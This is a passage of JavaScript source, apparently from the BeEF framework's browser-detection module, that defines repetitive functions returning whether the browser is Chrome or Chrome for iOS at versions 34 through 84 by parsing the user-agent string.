*/ isC34: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false); }, /** * Returns true if Chrome for iOS 34. * @example: beef.browser.isC34iOS() */ isC34iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false); }, /** * Returns true if Chrome 35. * @example: beef.browser.isC35() */ isC35: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false); }, /** * Returns true if Chrome for iOS 35. * @example: beef.browser.isC35iOS() */ isC35iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false); }, /** * Returns true if Chrome 36. * @example: beef.browser.isC36() */ isC36: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false); }, /** * Returns true if Chrome for iOS 36. * @example: beef.browser.isC36iOS() */ isC36iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false); }, /** * Returns true if Chrome 37. * @example: beef.browser.isC37() */ isC37: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false); }, /** * Returns true if Chrome for iOS 37. * @example: beef.browser.isC37iOS() */ isC37iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false); }, /** * Returns true if Chrome 38. * @example: beef.browser.isC38() */ isC38: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false); }, /** * Returns true if Chrome for iOS 38. * @example: beef.browser.isC38iOS() */ isC38iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false); }, /** * Returns true if Chrome 39. * @example: beef.browser.isC39() */ isC39: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false); }, /** * Returns true if Chrome for iOS 39. * @example: beef.browser.isC39iOS() */ isC39iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false); }, /** * Returns true if Chrome 40. * @example: beef.browser.isC40() */ isC40: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false); }, /** * Returns true if Chrome for iOS 40. * @example: beef.browser.isC40iOS() */ isC40iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false); }, /** * Returns true if Chrome 41. * @example: beef.browser.isC41() */ isC41: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false); }, /** * Returns true if Chrome for iOS 41. * @example: beef.browser.isC41iOS() */ isC41iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false); }, /** * Returns true if Chrome 42. * @example: beef.browser.isC42() */ isC42: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false); }, /** * Returns true if Chrome for iOS 42. * @example: beef.browser.isC42iOS() */ isC42iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false); }, /** * Returns true if Chrome 43. * @example: beef.browser.isC43() */ isC43: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false); }, /** * Returns true if Chrome for iOS 43. * @example: beef.browser.isC43iOS() */ isC43iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false); }, /** * Returns true if Chrome 44. * @example: beef.browser.isC44() */ isC44: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false); }, /** * Returns true if Chrome for iOS 44. * @example: beef.browser.isC44iOS() */ isC44iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false); }, /** * Returns true if Chrome 45. * @example: beef.browser.isC45() */ isC45: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false); }, /** * Returns true if Chrome for iOS 45. * @example: beef.browser.isC45iOS() */ isC45iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false); }, /** * Returns true if Chrome 46. * @example: beef.browser.isC46() */ isC46: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false); }, /** * Returns true if Chrome for iOS 46. * @example: beef.browser.isC46iOS() */ isC46iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false); }, /** * Returns true if Chrome 47. * @example: beef.browser.isC47() */ isC47: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false); }, /** * Returns true if Chrome for iOS 47. * @example: beef.browser.isC47iOS() */ isC47iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false); }, /** * Returns true if Chrome 48. * @example: beef.browser.isC48() */ isC48: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false); }, /** * Returns true if Chrome for iOS 48. * @example: beef.browser.isC48iOS() */ isC48iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false); }, /** * Returns true if Chrome 49. * @example: beef.browser.isC49() */ isC49: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false); }, /** * Returns true if Chrome for iOS 49. * @example: beef.browser.isC49iOS() */ isC49iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false); }, /** * Returns true if Chrome 50. * @example: beef.browser.isC50() */ isC50: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false); }, /** * Returns true if Chrome for iOS 50. * @example: beef.browser.isC50iOS() */ isC50iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false); }, /** * Returns true if Chrome 51. * @example: beef.browser.isC51() */ isC51: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false); }, /** * Returns true if Chrome for iOS 51. * @example: beef.browser.isC51iOS() */ isC51iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false); }, /** * Returns true if Chrome 52. * @example: beef.browser.isC52() */ isC52: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false); }, /** * Returns true if Chrome for iOS 52. * @example: beef.browser.isC52iOS() */ isC52iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false); }, /** * Returns true if Chrome 53. * @example: beef.browser.isC53() */ isC53: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false); }, /** * Returns true if Chrome for iOS 53. * @example: beef.browser.isC53iOS() */ isC53iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false); }, /** * Returns true if Chrome 54. * @example: beef.browser.isC54() */ isC54: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false); }, /** * Returns true if Chrome for iOS 54. * @example: beef.browser.isC54iOS() */ isC54iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false); }, /** * Returns true if Chrome 55. * @example: beef.browser.isC55() */ isC55: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false); }, /** * Returns true if Chrome for iOS 55. * @example: beef.browser.isC55iOS() */ isC55iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false); }, /** * Returns true if Chrome 56. * @example: beef.browser.isC56() */ isC56: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false); }, /** * Returns true if Chrome for iOS 56. * @example: beef.browser.isC56iOS() */ isC56iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false); }, /** * Returns true if Chrome 57. * @example: beef.browser.isC57() */ isC57: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false); }, /** * Returns true if Chrome for iOS 57. * @example: beef.browser.isC57iOS() */ isC57iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false); }, /** * Returns true if Chrome 58. * @example: beef.browser.isC58() */ isC58: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false); }, /** * Returns true if Chrome for iOS 58. * @example: beef.browser.isC58iOS() */ isC58iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false); }, /** * Returns true if Chrome 59. * @example: beef.browser.isC59() */ isC59: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false); }, /** * Returns true if Chrome for iOS 59. * @example: beef.browser.isC59iOS() */ isC59iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false); }, /** * Returns true if Chrome 60. * @example: beef.browser.isC60() */ isC60: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false); }, /** * Returns true if Chrome for iOS 60. * @example: beef.browser.isC60iOS() */ isC60iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false); }, /** * Returns true if Chrome 61. * @example: beef.browser.isC61() */ isC61: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false); }, /** * Returns true if Chrome for iOS 61. * @example: beef.browser.isC61iOS() */ isC61iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false); }, /** * Returns true if Chrome 62. * @example: beef.browser.isC62() */ isC62: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false); }, /** * Returns true if Chrome for iOS 62. * @example: beef.browser.isC62iOS() */ isC62iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false); }, /** * Returns true if Chrome 63. * @example: beef.browser.isC63() */ isC63: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false); }, /** * Returns true if Chrome for iOS 63. * @example: beef.browser.isC63iOS() */ isC63iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false); }, /** * Returns true if Chrome 64. * @example: beef.browser.isC64() */ isC64: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false); }, /** * Returns true if Chrome for iOS 64. * @example: beef.browser.isC64iOS() */ isC64iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false); }, /** * Returns true if Chrome 65. * @example: beef.browser.isC65() */ isC65: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false); }, /** * Returns true if Chrome for iOS 65. * @example: beef.browser.isC65iOS() */ isC65iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false); }, /** * Returns true if Chrome 66. * @example: beef.browser.isC66() */ isC66: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false); }, /** * Returns true if Chrome for iOS 66. * @example: beef.browser.isC66iOS() */ isC66iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false); }, /** * Returns true if Chrome 67. * @example: beef.browser.isC67() */ isC67: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false); }, /** * Returns true if Chrome for iOS 67. * @example: beef.browser.isC67iOS() */ isC67iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false); }, /** * Returns true if Chrome 68. * @example: beef.browser.isC68() */ isC68: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false); }, /** * Returns true if Chrome for iOS 68. * @example: beef.browser.isC68iOS() */ isC68iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false); }, /** * Returns true if Chrome 69. * @example: beef.browser.isC69() */ isC69: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false); }, /** * Returns true if Chrome for iOS 69. * @example: beef.browser.isC69iOS() */ isC69iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false); }, /** * Returns true if Chrome 70. * @example: beef.browser.isC70() */ isC70: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false); }, /** * Returns true if Chrome for iOS 70. * @example: beef.browser.isC70iOS() */ isC70iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false); }, /** * Returns true if Chrome 71. * @example: beef.browser.isC71() */ isC71: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false); }, /** * Returns true if Chrome for iOS 71. * @example: beef.browser.isC71iOS() */ isC71iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false); }, /** * Returns true if Chrome 72. * @example: beef.browser.isC72() */ isC72: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false); }, /** * Returns true if Chrome for iOS 72. * @example: beef.browser.isC72iOS() */ isC72iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false); }, /** * Returns true if Chrome 73. * @example: beef.browser.isC73() */ isC73: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false); }, /** * Returns true if Chrome for iOS 73. * @example: beef.browser.isC73iOS() */ isC73iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false); }, /** * Returns true if Chrome 74. * @example: beef.browser.isC74() */ isC74: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false); }, /** * Returns true if Chrome for iOS 74. * @example: beef.browser.isC74iOS() */ isC74iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false); }, /** * Returns true if Chrome 75. * @example: beef.browser.isC75() */ isC75: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false); }, /** * Returns true if Chrome for iOS 75. * @example: beef.browser.isC75iOS() */ isC75iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false); }, /** * Returns true if Chrome 76. * @example: beef.browser.isC76() */ isC76: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false); }, /** * Returns true if Chrome for iOS 76. * @example: beef.browser.isC76iOS() */ isC76iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false); }, /** * Returns true if Chrome 77. * @example: beef.browser.isC77() */ isC77: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false); }, /** * Returns true if Chrome for iOS 77. * @example: beef.browser.isC77iOS() */ isC77iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false); }, /** * Returns true if Chrome 78. * @example: beef.browser.isC78() */ isC78: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false); }, /** * Returns true if Chrome for iOS 78. * @example: beef.browser.isC78iOS() */ isC78iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false); }, /** * Returns true if Chrome 79. * @example: beef.browser.isC79() */ isC79: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false); }, /** * Returns true if Chrome for iOS 79. * @example: beef.browser.isC79iOS() */ isC79iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false); }, /** * Returns true if Chrome 80. * @example: beef.browser.isC80() */ isC80: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false); }, /** * Returns true if Chrome for iOS 80. * @example: beef.browser.isC80iOS() */ isC80iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false); }, /** * Returns true if Chrome 81. * @example: beef.browser.isC81() */ isC81: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false); }, /** * Returns true if Chrome for iOS 81. * @example: beef.browser.isC81iOS() */ isC81iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false); }, /** * Returns true if Chrome 82. * @example: beef.browser.isC82() */ isC82: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false); }, /** * Returns true if Chrome for iOS 82. * @example: beef.browser.isC82iOS() */ isC82iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false); }, /** * Returns true if Chrome 83. * @example: beef.browser.isC83() */ isC83: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false); }, /** * Returns true if Chrome for iOS 83. * @example: beef.browser.isC83iOS() */ isC83iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false); }, /** * Returns true if Chrome 84. * @example: beef.browser.isC84() */ isC84: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false); }, /** * Returns true if Chrome for iOS 84. * @example: beef.browser.isC84iOS() */ isC84iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true 